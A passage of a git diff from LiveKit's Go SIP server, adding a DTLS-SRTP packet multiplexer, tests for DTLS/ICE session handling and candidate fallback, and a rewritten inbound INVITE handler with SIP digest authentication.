mux.Close() + } + if srtpSession != nil { + _ = srtpSession.Close() + } + if srtcpSession != nil { + _ = srtcpSession.Close() + } + if dtlsConn != nil { + _ = dtlsConn.Close() + } +} + +type dtlsWriteStream struct{ s *dtlsSrtpSession } + +func (w dtlsWriteStream) String() string { return "DTLS-SRTPWriteStream" } +func (w dtlsWriteStream) WriteRTP(h *prtp.Header, payload []byte) (int, error) { + x, err := w.s.wait() + if err != nil { + return 0, err + } + out, err := x.OpenWriteStream() + if err != nil { + return 0, err + } + return out.WriteRTP(h, payload) +} + +type dtlsReadStream struct{ r *psrtp.ReadStreamSRTP } + +func (r dtlsReadStream) ReadRTP(h *prtp.Header, payload []byte) (int, error) { + n, err := r.r.Read(payload) + if err != nil { + return 0, err + } + var p prtp.Packet + if err = p.Unmarshal(payload[:n]); err != nil { + return 0, err + } + *h = p.Header + return copy(payload, p.Payload), nil +} + +type muxPacket struct { + b []byte + addr net.Addr +} +type dtlsEndpoint struct { + parent *dtlsMux + packets chan muxPacket + closed chan struct{} + once sync.Once +} +type dtlsMux struct { + conn net.Conn + dtls, srtp, srtcp *dtlsEndpoint + closed chan struct{} + once sync.Once +} + +func newDTLSEndpoint(m *dtlsMux) *dtlsEndpoint { + return &dtlsEndpoint{parent: m, packets: make(chan muxPacket, 128), closed: make(chan struct{})} +} +func newDTLSMux(c net.Conn) *dtlsMux { + m := &dtlsMux{conn: c, closed: make(chan struct{})} + m.dtls = newDTLSEndpoint(m) + m.srtp = newDTLSEndpoint(m) + m.srtcp = newDTLSEndpoint(m) + go m.readLoop() + return m +} +func (m *dtlsMux) readLoop() { + b := make([]byte, 2048) + for { + n, err := m.conn.Read(b) + if err != nil { + m.Close() + return + } + if n == 0 { + continue + } + p := muxPacket{b: append([]byte(nil), b[:n]...), addr: m.conn.RemoteAddr()} + var e *dtlsEndpoint + if p.b[0] >= 20 && p.b[0] <= 63 { + e = m.dtls + } else if p.b[0] >= 128 && p.b[0] <= 191 { + if len(p.b) > 1 && p.b[1] >= 192 && p.b[1] <= 223 { + e = m.srtcp + } else { + e = m.srtp + } + } else { + continue + } + select { + case e.packets <- p: + case <-e.closed: + case <-m.closed: + return + } + } +} +func (m *dtlsMux) Close() error { + m.once.Do(func() { close(m.closed); _ = m.dtls.Close(); _ = m.srtp.Close(); _ = m.srtcp.Close() }) + return nil +} +func (e *dtlsEndpoint) ReadFrom(b []byte) (int, net.Addr, error) { + select { + case <-e.closed: + return 0, nil, io.EOF + case p := <-e.packets: + return copy(b, p.b), p.addr, nil + } +} +func (e *dtlsEndpoint) WriteTo(b []byte, _ net.Addr) (int, error) { + select { + case <-e.closed: + return 0, io.EOF + default: + return e.parent.conn.Write(b) + } +} +func (e *dtlsEndpoint) Read(b []byte) (int, error) { n, _, err := e.ReadFrom(b); return n, err } +func (e *dtlsEndpoint) Write(b []byte) (int, error) { return e.WriteTo(b, nil) } +func (e *dtlsEndpoint) RemoteAddr() net.Addr { return e.parent.conn.RemoteAddr() } +func (e *dtlsEndpoint) Close() error { e.once.Do(func() { close(e.closed) }); return nil } +func (e *dtlsEndpoint) LocalAddr() net.Addr { return e.parent.conn.LocalAddr() } +func (e *dtlsEndpoint) SetDeadline(time.Time) error { return nil } +func (e *dtlsEndpoint) SetReadDeadline(time.Time) error { return nil } +func (e *dtlsEndpoint) SetWriteDeadline(time.Time) error { return nil } diff --git a/pkg/sip/dtls_srtp_test.go b/pkg/sip/dtls_srtp_test.go new file mode 100644 index 000000000..3d4dd1fe6 --- /dev/null +++ b/pkg/sip/dtls_srtp_test.go @@ -0,0 +1,256 @@ +// Copyright 2026 LiveKit, Inc. +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. + +package sip + +import ( + "context" + "fmt" + "net/netip" + "sync" + "testing" + "time" + + pice "github.com/pion/ice/v4" + psdp "github.com/pion/sdp/v3" + "github.com/stretchr/testify/require" + + "github.com/livekit/media-sdk/g711" + mediasdp "github.com/livekit/media-sdk/sdp" + "github.com/livekit/protocol/logger" +) + +func dtlsICEOffer(fingerprint, ufrag, pwd string) []byte { + return []byte(fmt.Sprintf("v=0\r\n"+ + "o=- 1 1 IN IP4 127.0.0.1\r\n"+ + "s=-\r\nt=0 0\r\n"+ + "m=audio 40000 UDP/TLS/RTP/SAVPF 0\r\n"+ + "c=IN IP4 127.0.0.1\r\n"+ + "a=candidate:remote 1 udp 2130706431 127.0.0.1 40000 typ host\r\n"+ + "a=ice-ufrag:%s\r\na=ice-pwd:%s\r\n"+ + "a=fingerprint:sha-256 %s\r\n"+ + "a=setup:actpass\r\na=rtcp-mux\r\n"+ + "a=rtpmap:0 PCMU/8000\r\na=sendrecv\r\n", ufrag, pwd, fingerprint)) +} + +func answerICECredentials(t *testing.T, raw []byte) (string, string) { + t.Helper() + var answer psdp.SessionDescription + require.NoError(t, answer.Unmarshal(raw)) + require.NotEmpty(t, answer.MediaDescriptions) + ufrag, ok := mediaAttribute(answer.MediaDescriptions[0], "ice-ufrag") + require.True(t, ok) + pwd, ok := mediaAttribute(answer.MediaDescriptions[0], "ice-pwd") + require.True(t, ok) + return ufrag, pwd +} + +func newDTLSTestMediaPort(t *testing.T, timeout time.Duration) *mediaPort { + t.Helper() + cert, err := newDTLSCertificate() + require.NoError(t, err) + return newTestPort(t, logger.NewTestLogger(t), newTestConn(1), &MediaOptions{ + IP: newIP("127.0.0.1"), + Codecs: testCodecSet(g711.ULawSDPNameAndRate), + DTLSEnabled: true, + DTLSCertificate: cert, + DTLSHandshakeTimeout: timeout, + }, RoomSampleRate) +} + +func TestDTLSRefreshReusesActiveICETransport(t *testing.T) { + m := newDTLSTestMediaPort(t, 30*time.Second) + offer := dtlsICEOffer(m.opts.DTLSCertificate.fingerprint, "remote-user", "remote-password-value") + + first, err := m.GenerateAnswer(offer) + require.NoError(t, err) + firstPipeline := m.pipeline + firstUfrag, firstPwd := answerICECredentials(t, first) + + second, err := m.GenerateAnswer(offer) + require.NoError(t, err) + secondUfrag, secondPwd := answerICECredentials(t, second) + + require.Same(t, firstPipeline, m.pipeline, "session refresh must keep the active media transport") + require.Equal(t, firstUfrag, secondUfrag, "answer must not advertise unused ICE credentials") + require.Equal(t, firstPwd, secondPwd, "answer must not advertise unused ICE credentials") +} + +func TestDTLSICERestartRebuildsTransport(t *testing.T) { + m := newDTLSTestMediaPort(t, 30*time.Second) + first, err := m.GenerateAnswer(dtlsICEOffer(m.opts.DTLSCertificate.fingerprint, "remote-user-one", "remote-password-value-one")) + require.NoError(t, err) + firstPipeline := m.pipeline + firstUfrag, firstPwd := answerICECredentials(t, first) + + second, err := m.GenerateAnswer(dtlsICEOffer(m.opts.DTLSCertificate.fingerprint, "remote-user-two", "remote-password-value-two")) + require.NoError(t, err) + secondUfrag, secondPwd := answerICECredentials(t, second) + + require.NotSame(t, firstPipeline, m.pipeline, "ICE restart must rebuild the media transport") + require.NotEqual(t, firstUfrag, secondUfrag) + require.NotEqual(t, firstPwd, secondPwd) +} + +func TestDTLSSessionImmediateCloseCancelsStartup(t *testing.T) { + m := newDTLSTestMediaPort(t, time.Hour) + offer := dtlsICEOffer(m.opts.DTLSCertificate.fingerprint, "remote-user", "remote-password-value") + _, err := m.GenerateAnswer(offer) + require.NoError(t, err) + + done := make(chan struct{}) + go func() { + m.Close() + close(done) + }() + + select { + case <-done: + case <-time.After(time.Second): + t.Fatal("immediate close waited for DTLS handshake timeout") + } +} + +func TestDTLSSessionConcurrentCloseDuringStartup(t *testing.T) { + for range 20 { + m := newDTLSTestMediaPort(t, time.Hour) + offer := dtlsICEOffer(m.opts.DTLSCertificate.fingerprint, "remote-user", "remote-password-value") + _, err := m.GenerateAnswer(offer) + require.NoError(t, err) + + var wg sync.WaitGroup + for range 4 { + wg.Go(m.Close) + } + closed := make(chan struct{}) + go func() { + wg.Wait() + close(closed) + }() + select { + case <-closed: + case <-time.After(time.Second): + t.Fatal("concurrent close blocked during DTLS/ICE startup") + } + } +} + +func TestLegacyMediaDoesNotUseDTLSState(t *testing.T) { + cert, err := newDTLSCertificate() + require.NoError(t, err) + newPort := func(encryption mediasdp.Encryption) *mediaPort { + return newTestPort(t, logger.NewTestLogger(t), newTestConn(1), &MediaOptions{ + IP: newIP("127.0.0.1"), + Codecs: testCodecSet(g711.ULawSDPNameAndRate), + Encryption: encryption, + DTLSEnabled: true, + DTLSCertificate: cert, + }, RoomSampleRate) + } + + t.Run("RTP AVP", func(t *testing.T) { + m := newPort(mediasdp.EncryptionNone) + _, err := m.GenerateAnswer(offerAt(t, netip.MustParseAddrPort("127.0.0.1:40000"))) + require.NoError(t, err) + require.Nil(t, m.dtls) + _, isDTLS := m.pipeline.sess.(*dtlsSrtpSession) + require.False(t, isDTLS) + }) + + t.Run("SDES SRTP", func(t *testing.T) { + m := newPort(mediasdp.EncryptionRequire) + _, err := m.GenerateAnswer(offerAtEnc(t, netip.MustParseAddrPort("127.0.0.1:40002"), mediasdp.EncryptionRequire)) + require.NoError(t, err) + require.Nil(t, m.dtls) + _, isDTLS := m.pipeline.sess.(*dtlsSrtpSession) + require.False(t, isDTLS) + }) +} + +func gatherICECandidates(t *testing.T, agent *pice.Agent) []pice.Candidate { + t.Helper() + done := make(chan struct{}) + var once sync.Once + require.NoError(t, agent.OnCandidate(func(candidate pice.Candidate) { + if candidate == nil { + once.Do(func() { close(done) }) + } + })) + require.NoError(t, agent.GatherCandidates()) + select { + case <-done: + case <-time.After(5 * time.Second): + t.Fatal("ICE candidate gathering timed out") + } + candidates, err := agent.GetLocalCandidates() + require.NoError(t, err) + require.NotEmpty(t, candidates) + return candidates +} + +func TestICEChecksFallBackToLaterCandidate(t *testing.T) { + newAgent := func(lite bool) *pice.Agent { + agent, err := pice.NewAgent(&pice.AgentConfig{ + NetworkTypes: []pice.NetworkType{pice.NetworkTypeUDP4}, + CandidateTypes: []pice.CandidateType{pice.CandidateTypeHost}, + IncludeLoopback: true, + Lite: lite, + }) + require.NoError(t, err) + t.Cleanup(func() { _ = agent.Close() }) + return agent + } + + controlling := newAgent(false) + controlled := newAgent(true) + controllingCandidates := gatherICECandidates(t, controlling) + controlledCandidates := gatherICECandidates(t, controlled) + + for _, candidate := range controllingCandidates { + copyCandidate, err := pice.UnmarshalCandidate(candidate.Marshal()) + require.NoError(t, err) + require.NoError(t, controlled.AddRemoteCandidate(copyCandidate)) + } + + remoteCandidates := []dtlsICECandidate{{raw: "unreachable 1 udp 4294967295 192.0.2.1 9 typ host"}} + for _, candidate := range controlledCandidates { + remoteCandidates = append(remoteCandidates, dtlsICECandidate{raw: candidate.Marshal()}) + } + addCtx, addCancel := context.WithTimeout(context.Background(), time.Second) + defer addCancel() + require.NoError(t, addRemoteICECandidates(addCtx, controlling, remoteCandidates)) + got, err := controlling.GetRemoteCandidates() + require.NoError(t, err) + require.Len(t, got, len(remoteCandidates)) + + controllingUfrag, controllingPwd, err := controlling.GetLocalUserCredentials() + require.NoError(t, err) + controlledUfrag, controlledPwd, err := controlled.GetLocalUserCredentials() + require.NoError(t, err) + + ctx, cancel := context.WithTimeout(context.Background(), 10*time.Second) + defer cancel() + acceptResult := make(chan error, 1) + go func() { + conn, acceptErr := controlled.Accept(ctx, controllingUfrag, controllingPwd) + if acceptErr == nil { + acceptErr = conn.Close() + } + acceptResult <- acceptErr + }() + conn, err := controlling.Dial(ctx, controlledUfrag, controlledPwd) + require.NoError(t, err, "ICE should connect through the later usable candidate") + require.NoError(t, conn.Close()) + require.NoError(t, <-acceptResult) +} diff --git a/pkg/sip/inbound.go b/pkg/sip/inbound.go index 10ff2c607..ada21a2b9 100644 --- a/pkg/sip/inbound.go +++ b/pkg/sip/inbound.go @@ -1,2491 +1,2497 @@ -// Copyright 2023 LiveKit, Inc. -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - -package sip - -import ( - "context" - "crypto/sha256" - "encoding/hex" - "errors" - "fmt" - "log/slog" - "maps" - "math" - "net/netip" - "slices" - "strconv" - "strings" - "sync" - "sync/atomic" - "time" - - "github.com/frostbyte73/core" - "github.com/icholy/digest" - - msdk "github.com/livekit/media-sdk" - "github.com/livekit/media-sdk/dtmf" - "github.com/livekit/media-sdk/rtp" - "github.com/livekit/media-sdk/sdp" - "github.com/livekit/media-sdk/tones" - "github.com/livekit/protocol/livekit" - "github.com/livekit/protocol/logger" - "github.com/livekit/protocol/rpc" - lksip "github.com/livekit/protocol/sip" - "github.com/livekit/protocol/utils/traceid" - "github.com/livekit/psrpc" - "github.com/livekit/sipgo/sip" - - "github.com/livekit/sip/pkg/config" - "github.com/livekit/sip/pkg/stats" - "github.com/livekit/sip/res" -) - -const ( - statsInterval = time.Minute - - stateUpdateTick = 10 * time.Minute - - // audioBridgeMaxDelay delays sending audio for certain time, unless RTP packet is received. - // This is done because of audio cutoff at the beginning of calls observed in the wild. - audioBridgeMaxDelay = 1 * time.Second - - inviteOkRetryInterval = 250 * time.Millisecond // 1/2 of T1 for faster recovery - inviteOkRetryIntervalMax = 3 * time.Second - inviteOKRetryAttempts = 5 - inviteOKRetryAttemptsNoACK = 2 - inviteOkAckLateTimeout = inviteOkRetryIntervalMax - authChallengeTimeout = 30 * time.Second -) - -var allowHeader = sip.NewHeader("Allow", "INVITE, ACK, CANCEL, BYE, NOTIFY, REFER, MESSAGE, OPTIONS, INFO, SUBSCRIBE") - -var errNoACK = errors.New("no ACK received for 200 OK") - -// RFC 3261 §21.4.27 / §14.2 — glare: INVITE received while an INVITE we sent is in progress. -const statusRequestPending sip.StatusCode = 491 - -const contentTypeSDP string = "application/sdp" - -// hashPassword creates a SHA256 hash of the password for logging purposes -func hashPassword(password string) string { - if password == "" { - return "" - } - hash := sha256.Sum256([]byte(password)) - return hex.EncodeToString(hash[:8]) // Use first 8 bytes for shorter hash -} - -func generateNonce(sipCallID string) string { - return fmt.Sprintf("%d-%s", time.Now().UnixMicro(), sipCallID) -} - -type inboundCallInfo struct { - sync.Mutex - cseq uint32 - cseqAuth uint32 - invites uint32 - invitesAuth uint32 -} - -func inviteHasAuth(r *sip.Request) bool { - return r.GetHeader("Proxy-Authorization") != nil || - r.GetHeader("Authorization") != nil -} - -func (c *inboundCallInfo) countInvite(log logger.Logger, req *sip.Request) { - hasAuth := inviteHasAuth(req) - cseq := req.CSeq() - if cseq == nil { - return - } - c.Lock() - defer c.Unlock() - cseqPtr := &c.cseq - countPtr := &c.invites - name := "invite" - if hasAuth { - cseqPtr = &c.cseqAuth - countPtr = &c.invitesAuth - name = "invite with auth" - } - if *cseqPtr == 0 { - *cseqPtr = cseq.SeqNo - } - if cseq.SeqNo > *cseqPtr { - return // reinvite - } - *countPtr++ - if *countPtr > 1 { - log.Warnw("remote appears to be retrying an "+name, nil, "invites", *countPtr, "cseq", *cseqPtr) - } -} - -func (s *Server) getCallInfo(id LocalTag) *inboundCallInfo { - c, _ := s.infos.byLocalTag.Get(id) - if c != nil { - return c - } - s.infos.Lock() - defer s.infos.Unlock() - c, _ = s.infos.byLocalTag.Get(id) - if c != nil { - return c - } - c = &inboundCallInfo{} - s.infos.byLocalTag.Add(id, c) - return c -} - -func (s *Server) getInvite(sipCallID string) *inProgressInvite { - s.imu.Lock() - defer s.imu.Unlock() - for i := range s.inProgressInvites { - if s.inProgressInvites[i].sipCallID == sipCallID { - return s.inProgressInvites[i] - } - } - if len(s.inProgressInvites) >= digestLimit { - s.inProgressInvites = s.inProgressInvites[1:] - } - is := &inProgressInvite{sipCallID: sipCallID} - s.inProgressInvites = append(s.inProgressInvites, is) - return is -} - -// scheduleAuthChallengeTimeout finalizes st as SCS_ERROR after authChallengeTimeout -// unless authResolved is set to true (by a follow-up INVITE) before the timer fires. -func (i *inProgressInvite) scheduleAuthChallengeTimeout(st *CallState, log logger.Logger) { - i.authResolved.Store(false) - challengedAt := time.Now() - time.AfterFunc(authChallengeTimeout, func() { - if !i.authResolved.CompareAndSwap(false, true) { - return - } - log.Infow("auth challenge timed out without authenticated retry; finalizing call as error", - "sipCallID", i.sipCallID, "timeout", authChallengeTimeout) - st.Update(func(info *livekit.SIPCallInfo) { - info.CallStatus = livekit.SIPCallStatus_SCS_ERROR - info.Error = "auth challenge issued, no authenticated retry received" - // EndedAtNs reflects when the call effectively ended. - info.EndedAtNs = challengedAt.UnixNano() - }) - }) -} - -// handleInviteAuth performs SIP digest authentication on an inbound INVITE. -// The challenge return value distinguishes the normal digest handshake (where we -// just sent the initial 407 with no credentials yet provided and expect the -// client to retry) from a hard auth failure. Callers should treat -// (ok=false, challenge=true) as non-terminal so it doesn't end up recorded as -// a finalized error state. -func (s *Server) handleInviteAuth(tid traceid.ID, log logger.Logger, req *sip.Request, tx sip.ServerTransaction, from string, auth InboundAuth) (ok bool, challenge bool) { - if auth.Realm == "" { - auth.Realm = UserAgent - } - log = log.WithValues( - "username", auth.Username, - "passwordHash", hashPassword(auth.Password), - "method", req.Method.String(), - "uri", req.Recipient.String(), - ) - - log.Infow("Starting SIP invite authentication") - - if auth.Username == "" || auth.Password == "" { - log.Debugw("Skipping authentication - no credentials provided") - return true, false - } - - if s.conf.HideInboundPort { - // We will send password request anyway, so might as well signal that the progress is made. - log.Debugw("Sending processing response due to HideInboundPort config") - _ = tx.Respond(sip.NewResponseFromRequest(req, 100, "Processing", nil)) - } - - // Extract SIP Call ID for tracking in-progress invites - sipCallID := "" - if h := req.CallID(); h != nil { - sipCallID = h.Value() - } - inviteState := s.getInvite(sipCallID) - log = log.WithValues("inviteStateSipCallID", sipCallID) - - h := req.GetHeader("Proxy-Authorization") - if h == nil { - inviteState.challenge = digest.Challenge{ - Realm: auth.Realm, - Nonce: generateNonce(sipCallID), - Algorithm: "MD5", - } - - log.Debugw("Created digest challenge", - "realm", inviteState.challenge.Realm, - "nonce", inviteState.challenge.Nonce, - "algorithm", inviteState.challenge.Algorithm, - ) - - res := sip.NewResponseFromRequest(req, 407, "Unauthorized", nil) - res.AppendHeader(sip.NewHeader("Proxy-Authenticate", inviteState.challenge.String())) - _ = tx.Respond(res) - log.Infow("No Proxy header found. Sending 407 Unauthorized response with Proxy-Authenticate header") - return false, true - } - - log.Debugw("Found Proxy-Authorization header, parsing credentials") - cred, err := digest.ParseCredentials(h.Value()) - if err != nil { - log.Warnw("Failed to parse Proxy-Authorization credentials", err, - "headerValue", h.Value(), - ) - _ = tx.Respond(sip.NewResponseFromRequest(req, 401, "Bad credentials", nil)) - return false, false - } - - // Set credURI and credUsername in logger early to avoid repetitive logging - log = log.WithValues("credURI", cred.URI, "credUsername", cred.Username) - - log.Debugw("Parsed credentials successfully", "cred", cred) - - // Validate that the username in the request matches the expected username - if cred.Username != auth.Username { - log.Warnw("Authentication failed - username mismatch", errors.New("username mismatch"), - "expectedUsername", auth.Username, - "receivedUsername", cred.Username, - ) - _ = tx.Respond(sip.NewResponseFromRequest(req, 401, "Unauthorized", nil)) - return false, false - } - - // Check if we have a valid challenge state - if inviteState.challenge.Realm == "" { - log.Warnw("No challenge state found for authentication attempt", errors.New("missing challenge state"), - "sipCallID", sipCallID, - "expectedRealm", auth.Realm, - ) - _ = tx.Respond(sip.NewResponseFromRequest(req, 401, "Bad credentials", nil)) - return false, false - } - - log.Debugw("Computing digest response", - "challengeRealm", inviteState.challenge.Realm, - "challengeNonce", inviteState.challenge.Nonce, - "challengeAlgorithm", inviteState.challenge.Algorithm, - ) - - digCred, err := digest.Digest(&inviteState.challenge, digest.Options{ - Method: req.Method.String(), - URI: cred.URI, - Username: cred.Username, - Password: auth.Password, - }) - - if err != nil { - log.Warnw("Failed to compute digest response", err) - _ = tx.Respond(sip.NewResponseFromRequest(req, 401, "Bad credentials", nil)) - return false, false - } - - log.Debugw("Digest computation completed", - "expectedResponse", digCred.Response, - "receivedResponse", cred.Response, - "responsesMatch", cred.Response == digCred.Response, - ) - - if cred.Response != digCred.Response { - log.Warnw("Authentication failed - response mismatch", errors.New("response mismatch"), - "expectedResponse", digCred.Response, - "receivedResponse", cred.Response, - ) - _ = tx.Respond(sip.NewResponseFromRequest(req, 401, "Unauthorized", nil)) - return false, false - } - - log.Infow("SIP invite authentication successful") - return true, false -} - -func sdpBodyFromRequest(req *sip.Request) []byte { - ct := req.ContentType() - if ct != nil && ct.Value() != contentTypeSDP { - return nil - } - return req.Body() -} - -func providerLabel(p *livekit.ProviderInfo) string { - switch p.GetType() { - case livekit.ProviderType_PROVIDER_TYPE_INTERNAL: - internalPrefix := "internal/" - if name := p.GetName(); name != "" { - return internalPrefix + strings.ToLower(name) - } - - return internalPrefix + stats.ProviderUnknown - case livekit.ProviderType_PROVIDER_TYPE_EXTERNAL: - // External names are customer-supplied trunk names, left out to keep the label bounded. - return "external" - default: - return stats.ProviderUnknown - } -} - -func (s *Server) onInvite(log *slog.Logger, req *sip.Request, tx sip.ServerTransaction) { - // Error processed in defer - _ = s.processInvite(req, tx) -} - -func (s *Server) processInvite(req *sip.Request, tx sip.ServerTransaction) (retErr error) { - start := time.Now() - ctx := context.Background() - ctx, span := Tracer.Start(ctx, "sip.Server.processInvite") - defer span.End() - - var state *CallState - defer func() { - if state == nil { - return - } - state.Update(func(info *livekit.SIPCallInfo) { - if err := retErr; err != nil && info.Error == "" { - info.CallStatus = livekit.SIPCallStatus_SCS_ERROR - info.Error = err.Error() - } else { - info.CallStatus = livekit.SIPCallStatus_SCS_DISCONNECTED - } - info.EndedAtNs = time.Now().UnixNano() - }) - }() - s.mon.InviteReqRaw(stats.Inbound) - - src, err := netip.ParseAddrPort(req.Source()) - if err != nil { - tx.Terminate() - s.log.Errorw("cannot parse source IP", err, "fromIP", src) - return psrpc.NewError(psrpc.MalformedRequest, fmt.Errorf("cannot parse source IP: %w", err)) - } - tr := callTransportFromReq(req) - - cc, err := s.newInbound(req, tx, src) - if err != nil { - s.log.Errorw("invalid invite", err) - if !s.conf.HideInboundPort { - r := sip.NewResponseFromRequest(req, sip.StatusBadRequest, "Bad request", nil) - r.AppendHeader(sip.HeaderClone(allowHeader)) - _ = tx.Respond(r) - } - tx.Terminate() - return psrpc.NewError(psrpc.InvalidArgument, fmt.Errorf("invite validation failed: %w", err)) - } - tid := traceid.FromGUID(string(cc.ID())) - log := cc.log.WithValues("transport", tr, "tid", tid.String()) - cc.log = log - - // Replay cached final rejection for retries reusing the same Call-ID + - // From-tag (e.g. provider-level failover after a 4xx). Skips creating - // a duplicate call object and the OnSessionEnd side-effects that follow. - if s.rejectedInvites != nil { - if prev, ok := s.rejectedInvites.Get([2]string{cc.SIPCallID(), string(cc.Tag())}); ok { - log.Debugw("replaying cached INVITE rejection", "status", prev.status, "reason", prev.reason) - cc.RespondAndDrop(prev.status, prev.reason) - return nil - } - } - - log.Infow("processing invite") - - s.cmu.RLock() - existing := s.byLocalTag[cc.ID()] - s.cmu.RUnlock() - if existing != nil && existing.cc.InviteCSeq() < cc.InviteCSeq() { - if existing.lateAnswerPending.Load() { - existing.log().Infow("rejecting reinvite, late answer pending", "cseq", cc.InviteCSeq()) - cc.RejectAsKeepAlive(statusRequestPending, "Request Pending") - return nil - } - existing.log().Infow("reinvite", "content-length", req.ContentLength(), "cseq", cc.InviteCSeq()) - if err := existing.updateRemoteFromSDP(sdpBodyFromRequest(req)); err != nil { - log.Errorw("failed to update inbound call SDP", err) - if ok := errors.As(err, &SDPError{}); ok { - cc.RejectAsKeepAlive(sip.StatusBadRequest, "Bad Request") - } else { - cc.RejectAsKeepAlive(sip.StatusInternalServerError, "Internal Server Error") - } - return nil - } - // TODO(alexfish): Reply with the new SDP. - cc.AcceptAsKeepAlive(existing.cc.OwnSDP()) - return nil - } - if s.cli != nil { // Process reinvite for existing outbound calls - // TODO(alexfish): Consider moving this to outbound - oc := s.cli.getActiveCall(cc.ID()) - newCSeq := cc.InviteCSeq() - - // TODO(alexfish): Reply with an error if the new sequence number is - // strictly less than the existing one. - if oc != nil && oc.cc.InviteCSeq() < newCSeq { - localSDP, err := oc.media.GetLocalSDP() - if err != nil || len(localSDP) == 0 { - oc.log.Errorw("outbound call does not have an SDP", err) - cc.RejectAsKeepAlive(statusRequestPending, "Request Pending") - return nil - } - oc.log.Infow("accepting reinvite", "content-length", req.ContentLength(), "cseq", cc.InviteCSeq()) - if err := oc.updateRemoteFromSDP(sdpBodyFromRequest(req)); err != nil { - log.Errorw("failed to update outbound call SDP", err) - if ok := errors.As(err, &SDPError{}); ok { - cc.RejectAsKeepAlive(sip.StatusBadRequest, "Bad Request") - } else { - cc.RejectAsKeepAlive(sip.StatusInternalServerError, "Internal Server Error") - } - return nil - } - oc.cc.RecordInvite(newCSeq) - // TODO(alexfish): Reply with the new SDP. - cc.AcceptAsKeepAlive(localSDP) - return nil - } - - } - - from, to := cc.From(), cc.To() - - cmon := s.mon.NewCall(stats.Inbound, from.Host, to.Host) - cmon.InviteReq() - defer cmon.SessionDur()() - var checkDurOnce sync.Once - checkDur := cmon.CheckDur() - checked := func() { - checkDurOnce.Do(func() { - checkDur(time.Since(start)) - }) - } - defer checked() - joinDur := cmon.JoinDur() - - var tryingTime time.Time - if !s.conf.HideInboundPort { - cc.Processing() - tryingTime = time.Now() - } - - callInfo := &rpc.SIPCall{ - LkCallId: string(cc.ID()), - SipCallId: cc.SIPCallID(), - SourceIp: src.Addr().String(), - Address: ToSIPUri("", cc.Address()), - From: ToSIPUri("", from), - To: ToSIPUri("", to), - } - rheaders := cc.RemoteHeaders() - s.handler.OnInboundInfo(log, callInfo, rheaders) - for _, h := range rheaders { - switch h := h.(type) { - case *sip.ViaHeader: - callInfo.Via = append(callInfo.Via, &livekit.SIPUri{ - Host: h.Host, - Port: uint32(h.Port), - Transport: SIPTransportFrom(Transport(h.Transport)), - }) - } - } - - tauth := cmon.StageDurTimer("get-auth") - r, err := s.handler.GetAuthCredentials(ctx, callInfo) - tauth() - checked() - if err != nil { - cmon.InviteErrorShort(stats.ServerError("auth-error")) - log.Warnw("Rejecting inbound, auth check failed", err) - cc.RespondAndDrop(sip.StatusServiceUnavailable, "Try again later") - return psrpc.NewError(psrpc.PermissionDenied, fmt.Errorf("rejecting inbound, auth check failed: %w", err)) - } - if r.ProjectID != "" { - log = log.WithValues("projectID", r.ProjectID) - } - if r.TrunkID != "" { - log = log.WithValues("sipTrunk", r.TrunkID) - } - cmon.SetProvider(providerLabel(r.ProviderInfo)) - - initial := &livekit.SIPCallInfo{ - CallId: string(cc.ID()), - Region: s.region, - FromUri: CreateURIFromUserAndAddress(cc.From().User, src.String(), tr).ToSIPUri(), - ToUri: CreateURIFromUserAndAddress(cc.To().User, cc.To().Host, tr).ToSIPUri(), - CallStatus: livekit.SIPCallStatus_SCS_CALL_INCOMING, - CallDirection: livekit.SIPCallDirection_SCD_INBOUND, - CreatedAtNs: time.Now().UnixNano(), - TrunkId: r.TrunkID, - ProviderInfo: r.ProviderInfo, - SipCallId: cc.SIPCallID(), - } - state = NewCallState(s.getStateHandler(r.ProjectID, r.Observability, initial), initial) - state.Flush() - - switch r.Result { - case AuthDrop: - cmon.InviteErrorShort(stats.ClientError("flood")) - log.Debugw("Dropping inbound flood") - cc.Drop() - return psrpc.NewErrorf(psrpc.PermissionDenied, "call was not authorized by trunk configuration") - case AuthNotFound: - cmon.InviteErrorShort(stats.ClientError("no-rule")) - log.Warnw("Rejecting inbound, doesn't match any Trunks", nil) - cc.RespondAndDrop(sip.StatusNotFound, "Does not match any SIP Trunks") - return psrpc.NewErrorf(psrpc.NotFound, "no trunk configuration for call") - case AuthQuotaExceeded: - cmon.InviteErrorShort(stats.ClientError("quota-exceeded")) - log.Warnw("Rejecting inbound, quota exceeded", nil) - cc.RespondAndDrop(sip.StatusServiceUnavailable, "Service temporarily unavailable") - return psrpc.NewErrorf(psrpc.ResourceExhausted, "quota limit exceeded") - case AuthNoTrunkFound: - cmon.InviteErrorShort(stats.ClientError("no-trunk")) - log.Warnw("Rejecting inbound, no trunk found", nil) - cc.RespondAndDrop(sip.StatusNotFound, "No trunk found") - return psrpc.NewErrorf(psrpc.NotFound, "no trunk found for call") - case AuthPassword: - if s.conf.HideInboundPort { - // We will send password request anyway, so might as well signal that the progress is made. - cc.Processing() - tryingTime = time.Now() - } - sipCallID := "" - if h := req.CallID(); h != nil { - sipCallID = h.Value() - } - inviteState := s.getInvite(sipCallID) - // New INVITE supersedes any pending 407-challenge timer for this Call-ID. - inviteState.authResolved.Store(true) - - s.getCallInfo(cc.ID()).countInvite(log, req) - if ok, challenge := s.handleInviteAuth(tid, log, req, tx, from.User, r.Auth); !ok { - // Store (call-ID + from tag) to (to tag) mapping - s.cmu.Lock() - s.provisionalInvites.Add([2]string{cc.SIPCallID(), string(cc.Tag())}, cc.ID()) - s.cmu.Unlock() - cmon.InviteErrorShort(stats.ClientError("unauthorized")) - if challenge { - // 407 sent: defer finalization to the timer or the next INVITE, - // not the deferred handler at the top of processInvite. - inviteState.scheduleAuthChallengeTimeout(state, log) - state = nil - } - // handleInviteAuth will generate the SIP Response as needed - return psrpc.NewErrorf(psrpc.PermissionDenied, "invalid credentials were provided") - } - // ok - case AuthAccept: - s.getCallInfo(cc.ID()).countInvite(log, req) - // ok - } - - call := 